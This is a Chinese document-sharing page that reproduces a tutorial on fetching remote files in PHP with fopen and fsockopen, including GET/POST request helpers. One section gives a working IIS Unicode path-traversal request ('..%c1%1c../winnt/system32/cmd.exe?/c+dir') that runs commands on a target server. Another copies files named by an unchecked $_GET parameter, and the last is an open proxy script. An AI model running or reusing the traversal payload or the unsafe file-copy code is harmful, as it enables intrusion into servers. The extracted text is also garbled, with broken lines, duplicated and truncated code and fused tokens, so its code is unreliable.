PHP获取远程文件内容.docx

上传人:b****5 文档编号:5691015 上传时间:2022-12-31 格式:DOCX 页数:17 大小:21.63KB
下载 相关 举报
PHP获取远程文件内容.docx_第1页
第1页 / 共17页
PHP获取远程文件内容.docx_第2页
第2页 / 共17页
PHP获取远程文件内容.docx_第3页
第3页 / 共17页
PHP获取远程文件内容.docx_第4页
第4页 / 共17页
PHP获取远程文件内容.docx_第5页
第5页 / 共17页
点击查看更多>>
下载资源
资源描述

PHP获取远程文件内容.docx

《PHP获取远程文件内容.docx》由会员分享,可在线阅读,更多相关《PHP获取远程文件内容.docx(17页珍藏版)》请在冰豆网上搜索。

PHP获取远程文件内容.docx

PHP获取远程文件内容

一、 介绍

只要在 php.ini 文件中激活了 allow_url_fopen选项,您可以在大多数需要用文件名作为参数的函数中使用 HTTP 和 FTP URL 来代替文件名。

同时,您也可以在include()、include_once()、require() 及 require_once() 语句中使用URL。

PHP 所支持协议的更多信息参见 附录 J。

注:

 要在 PHP 4.0.3 及其以后版本中使用 URL,您需要用--enable-url-fopen-wrapper 参数来配置 PHP。

 Windows 版本的 PHP 4.3版之前不支持以下函数的远程访问:

include(),include_once(),require(),require_once()以及 参考 XLI, 图像函数库 扩展库中的 imagecreatefromXXX函数。

例如,您可以用以下范例来打开远程 WEB服务器上的文件,解析您需要的输出数据,然后将这些数据用在数据库的检索中,或者简单地将其输出到您网站剩下内容的样式匹配中。

例子 x. fopen() 例子

Php代码

php

$handle=fopen("/home/rasmus/file.txt","r");

$handle=fopen("/home/rasmus/file.gif","wb");

$handle=fopen("

$handle=fopen("ftp:

//user:

password@

?

>

php$handle = fopen ("/home/rasmus/file.txt", "r");$handle = fopen ("/home/rasmus/file.gif", "wb");$handle = fopen (" "r");$handle = fopen ("ftp:

//user:

password@ "w");?

>

例子 X. 获取远程文件的标题

Php代码

php

$file=fopen("

if(!

$file) {

echo"

Unable to open remote file.\n";

exit;

}

while(!

feof($file)) {

$line=fgets($file, 1024);

/* This only works if the title and its tags are on one line */

if(eregi("(.*)",$line,$out)) {

$title=$out[1];

break;

}

}

fclose($file);

?

>

php$file = fopen (" "r");if (!

$file) {echo "

Unable to open remote file.\n";exit;}while (!

feof ($file)) {$line = fgets ($file, 1024);/* This only works if the title and its tags are on one line */if (eregi ("(.*)", $line, $out)) {$title = $out[1];break;}}fclose($file);?

>

如果您用有合法的访问权限,以一个用户的身份和某 FTP服务器建立了链接,您还可以向该 FTP服务器端的文件进行写操作。

您仅能用该方法来创建新的文件;如果您尝试覆盖已经存在的文件,fopen()函数的调用将会失败。

要以“anonymous”以外的用户名连接服务器,您需要指明用户名(甚至密码),例如“ftp:

//user:

password@ HTTP协议访问远程文件时需要基本身份认证,您也可以用使用的语法。

例子 X. 远程服务端的数据存储

Php代码

php

$file=fopen("ftp:

//

if(!

$file) {

echo"

Unable to open remote file for writing.\n";

exit;

}

/* Write the data here. */

fputs($file,$_SERVER['HTTP_USER_AGENT'] ."\n");

fclose ($file);

?

>

php$file = fopen ("ftp:

// "w");if (!

$file) {echo "

Unable to open remote file for writing.\n";exit;}/* Write the data here. */fputs ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");fclose ($file);?

>

注:

您或许可以从以上范例中得到启发,用该技术来存储远程日志文件。

但是正如以上提到的,在用fopen() 方式打开的 URL中,您仅能对新文件进行写操作。

如果远程文件已经存在 fopen()函数的操作将会失败。

要进行类似的分布式日志操作,您可以参考 syslog()函数。

在下面的内容里,我将以更多的实例描述这种功能的应用。

二、PHP中的POST&GET的应用

要使用PHP的POST&GET,可以运用fsockopen函数:

例子 1. fsockopen() Example

Php代码

php

$fp=fsockopen("", 80,$errno,$errstr, 30);

if(!

$fp) {

 echo"$errstr ($errno)\n";

}else{

 $out="GET / HTTP/1.1\r\n";

 $out.="Host:

 \r\n";

 $out.="Connection:

 Close\r\n\r\n";

 fputs($fp,$out);

 while(!

feof($fp)) {

   echofgets($fp, 128);

  }

  fclose($fp);

}

?

> 

php$fp = fsockopen("", 80, $errno, $errstr, 30);if (!

$fp) {  echo "$errstr ($errno)\n";} else {  $out = "GET / HTTP/1.1\r\n";  $out .= "Host:

 \r\n";  $out .= "Connection:

 Close\r\n\r\n";  fputs($fp, $out);  while (!

feof($fp)) {    echo fgets($fp, 128);  }  fclose($fp);}?

> 

例子 2. Using UDP connection

Php代码

php

$fp=fsockopen("udp:

//127.0.0.1", 13,$errno,$errstr);

if(!

$fp) {

 echo"ERROR:

 $errno - $errstr\n";

}else{

  fwrite($fp,"\n");

 echofread($fp, 26);

  fclose($fp);

}

?

> 

php$fp = fsockopen("udp:

//127.0.0.1", 13, $errno, $errstr);if (!

$fp) {  echo "ERROR:

 $errno - $errstr\n";} else {  fwrite($fp, "\n");  echo fread($fp, 26);  fclose($fp);}?

> 

例子 3

Php代码

php

//定义一些连接参数

$urls=array(

'host'=>'localhost',

'port'=>80,

'path'=>'/index.php',

'method'=>'POST',

'protocol'=>'1.0',

);

//POST方法传递的参数

$ps=array(

'language'=>'php',

'linux'=>'redhat',

);

//GET方法传递的参数

$gs=array(

'php'=>5,

'redhat'=>9

);

/**

返回:

得到POST或GET方法后返回的字符串(string)

参数:

  $usls :

 string

  $ps :

 array

  $gs :

 array

调用方法:

  getData($urls,$ps,'') //使用POST方法

  getData($urls,'',$gs) //使用GET方法

参考资料:

*/

functiongetData($urls,$ps='',$gs=''){

  $host=$urls['host'];

  $port=$urls['port'];

  $path=$urls['path'];

  $method=$urls['method'];

  $protocol=$urls['protocol'];

  $posts='';

  $gets='';

  if(is_array($ps)){

    foreach($psas$k=>$v){

     $posts.= urlencode($k)."=".urlencode($v).'&';

    }

    $posts=substr($posts,0,-1);

    $len=strlen($posts);

  }

  if(is_array($gs)){

    foreach($gsas$k=>$v){

     $gets.= urlencode($k)."=".urlencode($v).'&';

    }

    $gets=substr($gets,0,-1);

  }

  $fp=fsockopen($host,$port,$errno,$errstr,3);

  if(!

$fp){

   echo"can't connect...\r\n
Error:

$errstr";

   return;

  }

  fputs($fp,"$method $path?

$gets HTTP/$protocol\r\n");

  fputs($fp,"Host:

 localhost\r\n");

  if($posts!

=''){

    fputs($fp,"Content-type:

 application/x-www-form-urlencoded\r\n");

    fputs($fp,"Content-Length:

 $len\r\n");

    fputs($fp,"\r\n");

    fputs($fp,$posts);

  }

  fputs($fp,"Connection:

 Close\r\n\r\n");

  $s='';

  do{

   $data=fgets($fp,1024);

   if($data=='') {

     break;

   }

   $s.=$data;

  }while(true);

  fclose($fp);

  return$s;

}

//这里是使用POST方法取得目标网页返回的字符串

echogetData($urls,$ps,'');

//如果要使用GET方法就用如下方式:

echogetData($urls,'',$gs);

?

>

php//定义一些连接参数$urls = array('host'=>'localhost','port'=>80,'path'=>'/index.php','method'=>'POST','protocol'=>'1.0',);//POST方法传递的参数$ps = array('language'=>'php','linux'=>'redhat',);//GET方法传递的参数$gs = array('php'=>5,'redhat'=>9);/**返回:

得到POST或GET方法后返回的字符串(string)参数:

  $usls :

 string  $ps :

 array  $gs :

 array调用方法:

  getData($urls,$ps,'') //使用POST方法  getData($urls,'',$gs) //使用GET方法参考资料:

 getData($urls,$ps='',$gs=''){  $host = $urls['host'];  $port = $urls['port'];  $path = $urls['path'];  $method = $urls['method'];  $protocol = $urls['protocol'];  $posts = '';  $gets = '';  if(is_array($ps)){    foreach($ps as $k => $v){      $posts .= urlencode($k)."=".urlencode($v).'&';    }    $posts = substr($posts,0,-1);    $len = strlen($posts);  }  if(is_array($gs)){    foreach($gs as $k => $v){      $gets .= urlencode($k)."=".urlencode($v).'&';    }    $gets = substr($gets,0,-1);  }  $fp = fsockopen($host, $port,$errno,$errstr,3);  if(!

$fp){    echo "can't connect...\r\n
Error:

$errstr";    return ;  }  fputs($fp, "$method $path?

$gets HTTP/$protocol\r\n");  fputs($fp, "Host:

 localhost\r\n");  if($posts !

= ''){    fputs($fp, "Content-type:

 application/x-www-form-urlencoded\r\n");    fputs($fp, "Content-Length:

 $len\r\n");    fputs($fp, "\r\n");    fputs($fp, $posts);  }  fputs($fp, "Connection:

 Close\r\n\r\n");  $s = '';  do{   $data = fgets($fp,1024);   if($data == '') {     break;   }   $s .= $data;  } while(true);  fclose($fp);  return $s;}//这里是使用POST方法取得目标网页返回的字符串echo getData($urls,$ps,'');//如果要使用GET方法就用如下方式:

echo getData($urls,'',$gs);?

>

三、UNICODE漏洞攻击

代码:

Php代码

php

$fp=@fopen($url,"r")ordie("cannot open $url");

while($line=@fgets($fp,1024)) {

$contents.=$line;

}

echo$contents;//显示文件内容

fclose($fp);//关闭文件

?

>

php$fp=@fopen($url,"r") or die ("cannot open $url");while($line=@fgets($fp,1024)) {$contents.=$line;}echo $contents; //显示文件内容fclose($fp); //关闭文件?

>

使用:

/XXXX.php?

url=http:

//target/script/..%c1%1c../winnt/system32/cmd.exe?

/c+dir

四、WEB间文件转移:

该例子的代码引自PHP FLAME:

Php代码

php

$fp=fopen($_GET['filename'],'rb');

$data=$tmp='';

while( true ) {

$tmp=fgets($fp, 1024);

if( 0 ===strlen($tmp) ) {

break;

}

$data.=$tmp;

}

fclose($fp);

$file=preg_replace("/^.+\//","",$filename);

//write

$fp=fopen("$file",'wb');

fwrite($fp,$data);

fclose($fp);

?

>

php$fp = fopen($_GET['filename'], 'rb');$data = $tmp = '';while ( true ) {$tmp = fgets($fp, 1024);if ( 0 === strlen($tmp) ) {break;}$data .= $tmp;}fclose($fp);$file=preg_replace("/^.+\//","",$filename);//write$fp = fopen("$file", 'wb');fwrite($fp, $data);fclose($fp);?

>

五、HTTP代理(

代码引自PHP FLAME:

Php代码

$url=getenv("QUERY_STRING");

if(!

ereg("^http",$url))

{

echo"example:


xxx.php?

exit;

}

if($url)

$url=str_replace("\\","/",$url);

$f=@fopen($url,"r");

$a="";

if($f)

{

while(!

feof($f))

$a.=@fread($f,8000);

fclose($f);

}

$rooturl= preg_replace("/(.+\/)(.*)/i","\\1",$url);

$a= preg_replace("/(src[[:

space:

]]*=['\"])([^h].*?

)/is","\\1$rooturl\\2",$a);

$a= preg_replace("/(src[[:

space:

]]*=)([^h'\"].*?

)/is","\\1$rooturl\\2",$a);

$a= preg_replace("/(action[[:

space:

]]*=['\"])([^h].*?

)/is","\\1$php_self?

$rooturl\\2",$a);

$a= preg_replace("/(action[[:

space:

]]*=)([^h'\"].*?

)/is","\\1$php_self?

$rooturl\\2",$a);

$a= preg_replace("/(

href[[:

space:

]]*=['\"])([^h].*?

)/is","\\1$php_self?

$rooturl\\2",$a);

$a= preg_replace("/(

href[[:

space:

]]*=[^'\"])([^h].*?

)/is","\\1$php_self?

$rooturl\\2",$a);

$a= preg_replace("/(link.+?

href[[:

space:

]]*=[^'\"])(.*?

)/is","\\1$rooturl\\2",$a);

$a= preg_replace("/(link.+?

href[[:

space:

]]*=['\"])(.*?

)/is","\\1$rooturl\\2",$a);

echo$a;

?

>

$url = getenv("QUERY_STRING");if(!

ereg("^http",$url)){echo "example:


xxx.php?

 = preg_replace("/(.+\/)(.*)/i","\\1",$url);$a = preg_replace("/(src[[:

space:

]]*=['\"])([^h].*?

)/is","\\1$rooturl\\2",$a);$a = preg_replace("/(src[[:

space:

]]*=)([^h'\"].*?

)/is","\\1$rooturl\\2

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 工程科技 > 信息与通信

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1